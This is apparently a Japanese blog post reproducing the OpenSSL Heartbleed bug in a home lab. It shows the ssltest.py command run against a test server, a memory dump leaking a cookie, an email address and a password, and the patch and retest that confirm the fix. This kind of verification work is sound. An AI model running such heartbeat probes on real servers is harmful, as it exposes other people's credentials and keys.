Quantcast
Channel: Royal Windows
Viewing all articles
Browse latest Browse all 288

Openssl の脆弱性 Heartbleed

$
0
0

VMのubuntu 12.10 server でクッキーを使った簡単なログインページを動かして,ブラウザからSSLでアクセスした後に,heartbleed 検証ツール ssltest.py を実行した。
簡単なログインページ
1

ssltest.py の実行結果(抜粋)
ログイン時のメールアドレスとパスワードが読み取れてしまった。

Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 58
... received message: type = 22, ver = 0302, length = 718
... received message: type = 22, ver = 0302, length = 525
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 3D 38 64 66 ....#.......=8df
00e0: 36 34 35 37 37 38 32 64 34 65 36 35 61 35 62 62 6457782d4e65a5bb
00f0: 38 61 38 38 31 39 33 66 35 64 33 32 37 0D 0A 41 8a88193f5d327..A
0100: 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 ccept-Encoding:
0110: 67 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D 0A 48 gzip, deflate..H
0120: 6F 73 74 3A 20 31 39 32 2E 31 36 38 2E 31 2E 31 ost: 192.168.1.1
0130: 30 33 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 03..Connection:
0140: 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 43 61 63 68 Keep-Alive..Cach
0150: 65 2D 43 6F 6E 74 72 6F 6C 3A 20 6E 6F 2D 63 61 e-Control: no-ca
0160: 63 68 65 0D 0A 44 4E 54 3A 20 31 0D 0A 0D 0A AC che..DNT: 1.....
0170: 84 6A 09 22 5B BC EB E2 69 DD BE 83 6C AC C2 80 .j."
[...i...l...
0180: 6E E3 C1 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C n...............
0190: 2E 63 6F 6D 26 70 61 73 73 77 6F 72 64 3D 48 61 .com&password=Ha
01a0: 72 75 31 62 61 6E 25 32 31 26 61 63 74 69 6F 6E ru1ban%21&action
01b0: 3D 6C 6F 67 69 6E 1A 31 8E FB 32 FF EA 86 88 3E =login.1..2....>
01c0: 86 5F CB 82 2F BB C8 8A B5 98 05 05 05 05 05 05 ._../...........
01d0: 4F 4B 49 45 3D 38 64 66 36 34 35 37 37 38 32 64 OKIE=8df6457782d
01e0: 34 65 36 35 61 35 62 62 38 61 38 38 31 39 33 66 4e65a5bb8a88193f
01f0: 35 64 33 32 37 0D 0A 0D 0A 34 68 5A 02 4E 6F D9 5d327....4hZ.No.
0200: A8 41 AE 4A E3 A7 16 2D 8F 64 66 36 34 35 37 37 .A.J...-.df64577
0210: 38 32 64 34 65 36 35 61 35 62 62 38 61 38 38 31 82d4e65a5bb8a881
0220: 39 33 66 35 64 33 32 37 3B 20 43 4F 4F 4B 49 45 93f5d327; COOKIE
0230: 3D 38 64 66 36 34 35 37 37 38 32 64 34 65 36 35 =8df6457782d4e65
0240: 61 35 62 62 38 61 38 38 31 39 33 66 35 64 33 32 a5bb8a88193f5d32
0250: 37 0D 0A 0D 0A 6D 61 69 6C 61 64 64 72 3D 61 74 7....mailaddr=at
0260: 63 35 30 30 25 34 30 67 6D 61 69 6C 2E 63 6F 6D c500%40gmail.com
0270: 26 70 61 73 73 77 6F 72 64 3D 48 61 72 75 31 62 &password=Haru1b
0280: 61 6E 25 32 31 26 61 63 74 69 6F 6E 3D 6C 6F 67 an%21&action=log
0290: 69 6E 94 96 AD E3 45 E5 36 26 AC C6 7D 0E 88 03 in....E.6&..}...
02a0: 7D 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }2..............




パスワードが表示されている部分

image

heartbleed bug
暗号化ライブラリ Openssl のheartbeat のバグで,最大64KBのサーバメモリが読み取れてしまう。 サーバメモリに秘密鍵やパスワード等大事な情報がロードされていた場合,それが漏えいする。
サーバメモリは,インターネット上の誰でも読み取れて痕跡も残らない。
2年前から潜在的にあったバグなので,既に秘密鍵やパスワードが漏えいしているかもしれないということで,秘密鍵を再作成したり,ウェブサービスのパスワードの変更が必要とされている。

この検証では,Virtualbox で2台のサーバ(ubuntu 12.10)を起動して,1台でテスト用ログインページを動かし,ブラウザからパスワードを入力してログインした。
もう1台からpythonのテスト用スクリプト ssltest.py [ホスト名]を実行した。

python ssltest.py 192.168.1.103

ubuntu 12.10 server の場合は以下の手順でアップデートすればバグが解消できる。

apt-get update
apt-get upgrade
reboot

アップデート後,テスト用スクリプトを実行した結果は,

root@ubuntuvirtual:~# python ssltest.py 192.168.1.103
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 58
... received message: type = 22, ver = 0302, length = 718
... received message: type = 22, ver = 0302, length = 525
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
Unexpected EOF receiving record header - server closed connection
No heartbeat response received, server likely not vulnerable

サーバの脆弱性が解消された。



 



Viewing all articles
Browse latest Browse all 288

Trending Articles